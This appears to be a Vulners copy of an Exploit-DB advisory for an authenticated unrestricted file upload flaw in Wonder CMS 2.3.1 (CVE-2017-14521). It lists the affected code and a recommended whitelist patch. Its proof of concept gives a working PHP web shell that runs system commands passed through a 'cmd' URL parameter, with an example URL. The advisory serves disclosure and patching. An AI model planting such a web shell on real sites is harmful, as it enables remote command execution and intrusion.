Lucene search
+L

Wonder CMS 2.3.1 - Unrestricted File Upload

🗓️ 05 Feb 2018 00:00:00Reported by Samrat DasType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 37 Views

Wonder CMS 2.3.1 Unrestricted File Upload Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2017-14521
5 Feb 201800:00
circl
cnvd
CNVD
WonderCMS Malicious File Upload Vulnerability
29 Jan 201800:00
cnvd
cve
CVE
CVE-2017-14521
26 Jan 201820:00
cve
cvelist
Cvelist
CVE-2017-14521
26 Jan 201820:00
cvelist
euvd
EUVD
EUVD-2017-6022
7 Oct 202500:30
euvd
nvd
NVD
CVE-2017-14521
26 Jan 201820:29
nvd
packetstorm
Packet Storm
Wonder CMS 2.3.1 File Upload
5 Feb 201800:00
packetstorm
prion
Prion
Design/Logic Flaw
26 Jan 201820:29
prion
Affected Code:

public static function _uploadFile() { +
- if ( ! wCMS::$loggedIn && ! isset($_FILES['uploadFile']) && ! isset($_REQUEST['token'])) return; + private static function uploadFileAction()
- if (isset($_REQUEST['token']) && $_REQUEST['token'] == wCMS::_generateToken() && isset($_FILES['uploadFile'])) {


Proof of Concept
Steps to Reproduce:

1. Login with a valid credentials
2. Select Files option from the Settings menu of Content
3. Upload a file with php extension containing the below code:

           <?php

 $cmd=$_GET['cmd'];

 system($cmd);

 ?>

4. Click on Upload
5. Once the file is uploaded Click on the uploaded file and add ?cmd= to
the URL followed by a system command such as whoami,time,date etc.
Example:
http://localhost:8081/wondercms/files/shell.php?cmd=dir

Recommended Patch:

Create a whitelist of allowed filetypes.

The patch that addresses this bug is available here:

https://github.com/robiso/WonderCMS-testRepo/commit/8bd6cf9f3bf6a1d0123eb8b646584a63ee323c8a?diff=split

At line 742

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Sep 2018 00:00Current
8High risk
Vulners AI Score8
CVSS 26.5
CVSS 38.8
EPSS0.07299
37